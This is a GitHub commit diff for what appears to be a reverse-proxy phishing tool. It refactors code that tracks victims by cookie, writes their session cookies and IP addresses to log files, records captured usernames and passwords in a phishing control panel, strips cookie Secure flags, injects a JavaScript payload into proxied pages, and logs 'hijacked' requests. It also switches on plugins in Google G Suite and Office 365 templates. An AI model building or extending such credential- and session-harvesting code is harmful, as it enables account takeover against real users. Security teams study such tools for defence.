Skip to content
Permalink
Browse files

Code improvements and a bit of pattern redesigning.

  • Loading branch information...
drk1wi committed Jun 4, 2019
1 parent 67add58 commit a7a5c65ff265319b588b0caf2f58ff0566491790
Showing with 63 additions and 61 deletions.
  1. +4 −1 Makefile
  2. +1 −1 config/config.go
  3. +21 −28 core/proxy.go
  4. +3 −3 core/server.go
  5. +2 −2 log/util.go
  6. +6 −6 plugin/control.go
  7. +9 −6 plugin/core_plugin.go
  8. +10 −7 plugin/hijack.go
  9. +2 −2 plugin/template.go
  10. +0 −2 runtime/func.go
  11. +3 −2 templates/google.com_gsuite.json
  12. +2 −1 templates/office365.json
@@ -47,9 +47,12 @@ windows:
freebsd:
GOOS=freebsd GOARCH=amd64 $(GOBUILD) -ldflags "-s -w" -o $(DIST_DIR)/$(BINARY_BSD) $(MAIN_FILE)

linux_xgo:
linux_amd64_xgo:
xgo --targets=linux/amd64 --dest $(DIST_DIR)/ ./

linux_386_xgo:
xgo --targets=linux/386 --dest $(DIST_DIR)/ ./

windows_xgo:
xgo --targets=windows/amd64 --dest $(DIST_DIR)/ ./

@@ -30,7 +30,7 @@ type Options struct {
ProxyAddress *string `json:"proxyAddress"`
Target *string `json:"target"`
TargetRes *string `json:"targetResources"`
TargetRules *string `json:"targetRules"`
TargetRules *string `json:"rules"`
JsRules *string `json:"jsRules"`
TerminateTriggers *string `json:"terminateTriggers"`
TerminateRedirectUrl *string `json:"terminateRedirectUrl"`
@@ -41,14 +41,13 @@ type ReverseProxy struct {
Target *url.URL // target url after going through reverse proxy
OriginalTarget string // target host before going through reverse proxy
Origin string // origin before going through reverse proxy
PhishUser string // traced phish_user id
InitPhishUser string // traced phish_user id
IP string // client ip addr
Payload string // JS payload that should be injected
Terminate bool // indicates whether this client should be released/terminated
Proxy *httputil.ReverseProxy // instance of Go ReverseProxy that will proxy requests/responses
Config *config.Options
IsTLS bool
IsTLS bool
RequestContext *plugin.HTTPContext
}

type ReverseProxyFactorySettings struct {
@@ -94,16 +93,9 @@ func (p *ReverseProxy) rewriteResponse(r *http.Response) (err error) {
// Inject Payloads
buffer = p.InjectPayloads(buffer)

log.Cookies(p.PhishUser, p.Target.String(), response.Header["Set-Cookie"], p.IP)
log.Cookies(p.RequestContext.UserID, p.Target.String(), response.Header["Set-Cookie"], p.IP)

// Hook Plugins
ctx := plugin.HTTPContext{
Target: p.Target,
IP: p.IP,
Origin: p.Origin,
PhishUser: p.PhishUser,
}
ctx.InvokeHTTPResponseHooks(response.Response)
p.RequestContext.InvokeHTTPResponseHooks(response.Response, &buffer)

// Compress the HTTP Response and update the HTTP Headers
response.Compress(buffer)
@@ -118,18 +110,16 @@ func (p *ReverseProxy) rewriteRequest(r *http.Request) (err error) {
request.PatchHeaders(p)
request.PatchQueryString()

// Hook Plugins
ctx := plugin.HTTPContext{
Target: p.Target,
IP: p.IP,
Origin: p.Origin,
PhishUser: p.PhishUser,
OriginalTarget: p.OriginalTarget,
IsTLS: p.IsTLS,
}
ctx.InvokeHTTPRequestHooks(request.Request)
p.RequestContext.OriginalTarget = p.OriginalTarget
p.RequestContext.IP = p.IP
p.RequestContext.IsTLS = p.IsTLS
p.RequestContext.Target = p.Target
p.RequestContext.Origin = p.Origin

p.RequestContext.InvokeHTTPRequestHooks(request.Request)

log.HTTPRequest(request.Request, p.PhishUser)

log.HTTPRequest(request.Request, p.RequestContext.UserID)

// Handle HTTP Body (POST)
if r.Body != nil {
@@ -232,7 +222,7 @@ func (httpResponse *HTTPResponse) PatchHeaders(p *ReverseProxy) {
// Patch Cookies:
// Prevent phish domain leakage via cookies
if len(httpResponse.Header["Set-Cookie"]) > 0 {
log.Cookies(p.PhishUser, p.Target.String(), httpResponse.Header["Set-Cookie"], p.IP)
log.Cookies(p.RequestContext.UserID, p.Target.String(), httpResponse.Header["Set-Cookie"], p.IP)

for i, v := range httpResponse.Header["Set-Cookie"] {
//strip out the secure Flag
@@ -244,10 +234,10 @@ func (httpResponse *HTTPResponse) PatchHeaders(p *ReverseProxy) {
}
}

if p.InitPhishUser != "" {
if p.RequestContext.InitUserID != "" {
// Add tracking cookie
value := runtime.TrackingCookie + "=" + p.InitPhishUser +
";Path=/;Domain=" + runtime.ProxyDomain +
value := runtime.TrackingCookie + "=" + p.RequestContext.InitUserID +
";Path=/;Domain=." + runtime.ProxyDomain +
";Expires=Sat, 26-Oct-2025 18:54:56 GMT;Priority=HIGH"
httpResponse.Header.Add("Set-Cookie", value)
}
@@ -417,7 +407,7 @@ func (p *ReverseProxy) InjectPayloads(buffer []byte) []byte {

if len(buffer) > 0 && p.Payload != "" {
log.Debugf(" -- Injecting JS Payload [%s] \n", p.Payload)
buffer = bytes.Replace(buffer, []byte("</head>"), []byte("<script>"+p.Payload+"</script></head>"), 1)
buffer = bytes.Replace(buffer, []byte("</body>"), []byte("<script>"+p.Payload+"</script></body>"), 1)
}

return buffer
@@ -468,6 +458,9 @@ func (s *ReverseProxyFactorySettings) NewReverseProxy() *ReverseProxy {
Config: &s.Options,
IsTLS: s.IsTLS,
OriginalTarget: s.originaltarget,
RequestContext: &plugin.HTTPContext{
Extra: make(map[string]string),
},
}


@@ -131,8 +131,8 @@ func (conf *ServerConfig) MainHandler(w http.ResponseWriter, r *http.Request) {

//set up user tracking variables
if val, ok := queryString[runtime.TrackingParam]; ok {
reverseProxy.InitPhishUser = val[0]
reverseProxy.PhishUser = val[0]
reverseProxy.RequestContext.InitUserID = val[0]
reverseProxy.RequestContext.UserID = val[0]
log.Infof("[P] Tracking victim via initial parameter %s", val[0])
}

@@ -142,7 +142,7 @@ func (conf *ServerConfig) MainHandler(w http.ResponseWriter, r *http.Request) {
}

if cookie, err := r.Cookie(runtime.TrackingCookie); err == nil {
reverseProxy.PhishUser = cookie.Value
reverseProxy.RequestContext.UserID = cookie.Value
}

reverseProxy.Proxy.ServeHTTP(w, r)
@@ -49,14 +49,14 @@ func toFile(data string) {

}

func Cookies(phishUser string, URL string, cookies []string, IP string) {
func Cookies(userID string, URL string, cookies []string, IP string) {

cookieString := strings.Join(cookies, "####")

toFile("\nCOOKIES" +
"\n======\nTimestamp: " + time.Now().Format(time.RFC850) +
"\n======\nRemoteIP: " + IP +
"\n======\nUUID: " + phishUser +
"\n======\nUUID: " + userID +
"\n======\nURL: " + URL +
"\n======\n" + string(cookieString) +
"\n======\n")
@@ -634,7 +634,7 @@ func init() {

s := Property{}
s.Name = "control_panel"
s.Description = "This is a web control panel for you phishing engagements. Beta version."
s.Description = "This is a web control panel for your phishing engagements. Beta version."
s.Version = "0.1"

//init all of the vars, print a welcome message, init your command line flags here
@@ -730,13 +730,13 @@ func init() {
}

//process HTTP request
s.HTTPRequest = func(req *http.Request, context HTTPContext) {
s.HTTPRequest = func(req *http.Request, context *HTTPContext) {

if CConfig.active {

if creds, found := CConfig.checkRequestCredentials(req); found {

victim := Victim{UUID: context.PhishUser, Username: creds.usernameFieldValue, Password: creds.passwordFieldValue}
victim := Victim{UUID: context.UserID, Username: creds.usernameFieldValue, Password: creds.passwordFieldValue}
if err := CConfig.updateEntry(&victim); err != nil {
log.Infof("Error %s", err.Error())
return
@@ -749,7 +749,7 @@ func init() {
cookies := req.Cookies()
// there are new set-cookies
if len(cookies) > 0 {
victim := Victim{UUID: context.PhishUser}
victim := Victim{UUID: context.UserID}
entry, err := CConfig.getEntry(&victim)
if err != nil {
return
@@ -776,13 +776,13 @@ func init() {
}

//process HTTP response (responses can arrive in random order)
s.HTTPResponse = func(resp *http.Response, context HTTPContext) {
s.HTTPResponse = func(resp *http.Response, context *HTTPContext,buffer *[]byte) {

cookies := resp.Cookies()
// there are new set-cookies
if len(cookies) > 0 {

victim := Victim{UUID: context.PhishUser}
victim := Victim{UUID: context.UserID}
entry, err := CConfig.getEntry(&victim)
if err != nil {
return
@@ -36,19 +36,21 @@ type Property struct {

Init func()
Flags func()
HTTPRequest func(req *http.Request, context HTTPContext)
HTTPResponse func(resp *http.Response, context HTTPContext)
HTTPRequest func(req *http.Request, context *HTTPContext)
HTTPResponse func(resp *http.Response, context *HTTPContext,buffer *[]byte)
RegisterHandler func(handler *http.ServeMux)
}

type HTTPContext struct {
Target *url.URL // Target URL after going through the proxy
OriginalTarget string // Original Host
Origin string // Origin before going through the proxy
PhishUser string // traced victim's identifier
UserID string // traced user identifier
InitUserID string // traced user id
JSPayload string // JS Payload
IP string // victim's IP address
IsTLS bool //TLS request
Extra map[string]string //Extra Plugin Data
}

// Add the given Plugin to the list of loaded plugins
@@ -134,19 +136,20 @@ func RegisterHandler(handler *http.ServeMux) {
}

// Execute plugin-defined HTTP Request hooks
func (context HTTPContext) InvokeHTTPRequestHooks(req *http.Request) {
func (context *HTTPContext) InvokeHTTPRequestHooks(req *http.Request) {
for _, p := range Plugins {
if p.Active && p.HTTPRequest != nil {
p.HTTPRequest(req, context)
}
}

}

// Execute plugin-defined HTTP Response hooks
func (context HTTPContext) InvokeHTTPResponseHooks(resp *http.Response) {
func (context *HTTPContext) InvokeHTTPResponseHooks(resp *http.Response, buffer *[]byte) {
for _, p := range Plugins {
if p.Active == true && p.HTTPResponse != nil {
p.HTTPResponse(resp, context)
p.HTTPResponse(resp, context,buffer)
}
}
}
@@ -22,8 +22,10 @@ import (
)



func init() {


s := Property{}
s.Name = "hijack"
s.Description = "This is a hijack log plugin - it will log all of the hijacked requests"
@@ -38,38 +40,39 @@ func init() {


//process HTTP request
s.HTTPRequest = func(req *http.Request, context HTTPContext) {
s.HTTPRequest = func(req *http.Request, context *HTTPContext) {

if runtime.DynamicMode == false {
return
}

if strings.Contains(context.OriginalTarget,runtime.ProxyDomain) == false && context.IsTLS == false {

log.Infof("Hijacking clear-text URL %s%s [%s] . ",context.Target,req.URL.Path,req.Header.Get("User-Agent"))
if strings.Contains(context.OriginalTarget,runtime.ProxyDomain) && context.IsTLS == false {

log.Warningf("Hijack plugin: Hijacked clear-text [%s%s]\n\tID: [%s] \n\tIP: [%s] \n\tUser-Agent: [%s]\n",context.Target,req.URL.Path,context.UserID,context.IP,req.Header.Get("User-Agent"))
}

if strings.Contains(context.OriginalTarget,runtime.ProxyDomain) == false && context.IsTLS == true {

log.Warningf("TLS URL %s%s [%s]",context.Target,req.URL.Path,req.Header.Get("User-Agent"))
log.Warningf("Hijack plugin: TLS URL [%s%s]\n\tID: [%s] \n\tIP: [%s] \n\tUser-Agent: [%s]\n",context.Target,req.URL.Path,context.UserID,context.IP,req.Header.Get("User-Agent"))
}

if strings.Contains(context.OriginalTarget,runtime.ProxyDomain) && context.IsTLS == true {

log.Warningf("Hijacked TLS URL %s%s [%s]",context.Target,req.URL.Path,req.Header.Get("User-Agent"))
log.Warningf("Hijack plugin: Hijacked TLS URL [%s%s]\n\tID: [%s] \n\tIP: [%s] \n\tUser-Agent: [%s]\n",context.Target,req.URL.Path,context.UserID,context.IP,req.Header.Get("User-Agent"))
}

if strings.Contains(context.OriginalTarget,runtime.ProxyDomain) && context.IsTLS == false {

log.Warningf("Hijacked clear-text URL %s%s [%s]",context.Target,req.URL.Path,req.Header.Get("User-Agent"))
log.Warningf("Hijack plugin: Hijacked clear-text URL [%s%s]\n\tID: [%s] \n\tIP: [%s] \n\tUser-Agent: [%s]\n",context.Target,req.URL.Path,context.UserID,context.IP,req.Header.Get("User-Agent"))
}

}



//process HTTP response (responses can arrive in random order)
s.HTTPResponse = func(resp *http.Response, context HTTPContext) {
s.HTTPResponse = func(resp *http.Response, context *HTTPContext,buffer *[]byte) {


}
@@ -62,10 +62,10 @@ func init() {
}

//process HTTP request
s.HTTPRequest = func(req *http.Request, context HTTPContext) {}
s.HTTPRequest = func(req *http.Request, context *HTTPContext) {}

//process HTTP response (responses can arrive in random order)
s.HTTPResponse = func(resp *http.Response, context HTTPContext) {}
s.HTTPResponse = func(resp *http.Response, context *HTTPContext,buffer *[]byte) {}

// Register your http handlers
s.RegisterHandler = func(handler *http.ServeMux) {
@@ -171,8 +171,6 @@ func PhishURLToRealURL(phishURL string) string {
return out
}



//check if the requested URL matches termination URLS patterns and returns verdict
func CheckTermination(input string) bool {

@@ -10,14 +10,15 @@
"trackingCookie": "ident",
"trackingParam": "ident",
"jsRules":"",
"jsReflectParam": "reflect",
"debug": false,
"forceHTTPS": false,
"forceHTTP": false,
"dynamicMode": false,
"dynamicMode": true,
"logPostOnly": false,
"disableSecurity": false,
"log": "google.log",
"plugins": "all",
"plugins": "autocert,hijack",
"credParams": "dHJ1ZVxdLCIoKD86XHcrW1wuXC1cX10pezAsfVx3KykiXQ==,XGJudWxsLFxbIihbYS16QS1aMC05IiEiIyQlJicoKSorLC0uLzo7PD0+P0BeX2B7fH1+XSspIixudWxsXGI=",
"cert": "",
"certKey": "",
@@ -10,14 +10,15 @@
"trackingCookie": "id",
"trackingParam": "id",
"jsRules":"",
"jsReflectParam": "reflect",
"debug": false,
"forceHTTPS": false,
"forceHTTP": false,
"dynamicMode": false,
"logPostOnly": false,
"disableSecurity": false,
"log": "ms.log",
"plugins": "all",
"plugins": "autocert,hijack",
"credParams": "",
"cert": "",
"certKey": "",

0 comments on commit a7a5c65

Please sign in to comment.
You can’t perform that action at this time.